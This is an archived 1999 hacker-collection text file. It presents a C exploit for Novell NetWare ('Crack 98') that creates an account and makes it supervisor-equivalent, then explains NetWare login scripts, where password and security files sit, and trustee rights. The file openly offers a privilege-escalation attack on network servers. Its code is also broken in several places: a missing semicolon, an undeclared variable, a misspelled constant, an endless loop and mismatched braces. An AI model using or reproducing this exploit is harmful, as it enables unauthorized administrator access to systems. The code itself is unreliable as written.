home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / nov_admin.txt < prev    next >
Encoding:
Text File  |  1999-03-24  |  4.6 KB  |  125 lines

  1.                  Novell Netware Administration Exploit
  2.                   Author:   Mnemonic               
  3.                   email :   mnem@legions.org
  4.  
  5. #include <stdio.h>
  6. #include <io.h>
  7. #include <fcntl.h>
  8. #include <string.h>
  9. #include <stddef.h>
  10. #include <errno.h>
  11. #include <direct.h>
  12. #include <nwtypes.h>
  13. #include <nwbindry.h>
  14. #include <dos.h>
  15. main(int argc, char *argv[])
  16. {
  17. long task;
  18. char *account
  19. printf("Crack 98 written by Mnemonic\n");
  20. task = SetCurrentTask(-1L);
  21. SetCurrentConnection(0);
  22. account = argv[1];
  23. while (argc > 1)
  24. {
  25. if (CreateBinderyObject(name, OT_USER, BF_STATIC, 0x31) == 0)
  26. printf("The account %s has been created\n", account);
  27. else
  28. printf("The account %s already exists on the network\n", account);
  29. CreateProperty(account, OUT_USER, "SECURITY_EQUALS", BF_STATIC | BF_SET, 
  30. 0x32);
  31. if (AddBinderyObjectToSet(account, OT_USER, "SECURITY_EQUALS", 
  32. "SUPERVISOR", OT_USER) == 0)
  33. printf("The account %s has been made supervisor equivalent\n", account);
  34. else
  35. printf("The account is already supervisor equivalent\n");
  36. }
  37. printf("You must enter an account name\n");
  38. account = argv[1];
  39. }
  40. ReturnBlockOfTasks(&task, 1L);
  41. ReturnConnection(GetCurrentConnection());
  42. return 0;
  43. }
  44.  
  45.         Crack '98 sets the connection to 0 for supervisor,
  46. and then creates a user object in the bindery which must
  47. have an equivalent property.  Then it adds supervisor
  48. equivalent to the supervisor equivalence property so it
  49. can make an account equivalent to that of supervisor.  It
  50. supports Novell NetWare 2.x, 3.x, 4.x, and Novell IntraNet
  51. Ware 4.x.  This is what the account's login script should
  52. look like after you've run the program.
  53.  
  54. WRITE "Good%GREETING_TIME, %LOGIN_NAME."
  55. MAP DISPLAY OFF
  56. MAP ERRORS OFF
  57. Remark:  Set 1st drive to most appropriate directory
  58. MAP *1:=SYS:; *1=%LOGIIF "%1"="SUPERVISOR" MAP *1:=SYS:SYSTEM
  59. Remark:  Set search drives (S2 machine-OS dependent).
  60. MAPT S1:=SYS:PUBLIC;  S2:=S1:%MACHINE/%OS/%OS_VERSION
  61. Remark:  Now display all the current drive settings.
  62. MAP DISPLAY ON
  63. MAP
  64.  
  65.         Here, the SUPERVISOR default logins are the
  66. directory names SYS:SYSTEM and/or SYS:PUBLIC as the
  67. filename NET$LOG.DAT.  NetWare assigns each user or
  68. group a unique number when it is defined.  The
  69. SUPERVISOR user number is always 1.  All other users and
  70. groups are assigned hexadecimal numbers.  Since all mail
  71. directories are created in the directory SYS:MAIL, the
  72. LAN SUPERVISOR's mail directory is SYS:MAIL\1.  The user
  73. login script itself, however, is stored in a file named
  74. LOGIN with no extension.  For example, IL\1\LOGIN.  The
  75. user login script is used to define user-specific
  76. resources and environment settings.  If a user login
  77. script file exists it will be executed.  If it does not
  78. exist, then the LOGIN program invokes a default user
  79. login script.  This can be a source of trouble, as the
  80. default user login script might interfere with drive
  81. mappings in the system login script.
  82.         There are two utilities provided with NetWare to
  83. create new user accounts.  These are SYSCON and
  84. MAKEUSER.  Both are displayed as options on the NetWare
  85. Login main screen, and can be used to create a new
  86. account, and its corresponding login script.
  87.         When a user logs into the NetWare, the LOGIN
  88. program verifies if the entered password specifies the
  89. id that corresponds with it, and then retrieves the user
  90. rights information from the file server.  If one exists,
  91. the system login script is then executed.  This script,
  92. is then stored in the user acount's mail directory.  In
  93. NetWare 2.x, the password file is NET$BVAL.SYS, and is
  94. kept in the SYS:PASSWD directory along with the security
  95. file NET$BIND.SYS.  In 3.x, the password file is
  96. NET$VAL.SYS and is also kept in the SYS:PASSWD directory
  97. along with the security files NET$OBJ.SYS and
  98. NET$PROP.SYS.  In 4.x you have PARTITIO.NDS, BLOCK.NDS,
  99. ENTRY.NDS, VALUE.NDS, and UNINSTAL.NDS.  The system
  100. login script is created with the SYSCON utility be the
  101. LAN supervisor and is stored in a file named NET$LOG.DAT
  102. in the SYS:PUBLIC directory.  Here is an example of how
  103. permissions are assigned.
  104.  
  105. USER1 is a member of the groups EVERYONE and ACCOUNTING.
  106. All users are members of EVERYONE.
  107. Group EVERYONE has Read, Open, and Search rights in SYS:APPS.
  108. Group ACCOUNTING has Write, Create, and Delete rights in SYS:APPS\DATA
  109. USER1 has Parental and Modify rights in SYS:APPS\DATA\USER1
  110.  
  111. USER1's trustee priveleges are accounted for as
  112.  
  113. Directory               Group           Rights
  114. SYS:APPS                EVERYONE        [R O   S ]
  115. SYS:APPS\DATA           ACCOUNTING      [ W CD   ]
  116. Trustee priveleges                      [RWOCD S ]
  117.  
  118. The one access type that gains everything is called
  119. Supervisory.  Its environmetal settings are RWOCDPSM.
  120.  
  121. Mnemonic <mnem@legions.org>
  122.  
  123. check out: http://www.legions.org
  124.  
  125.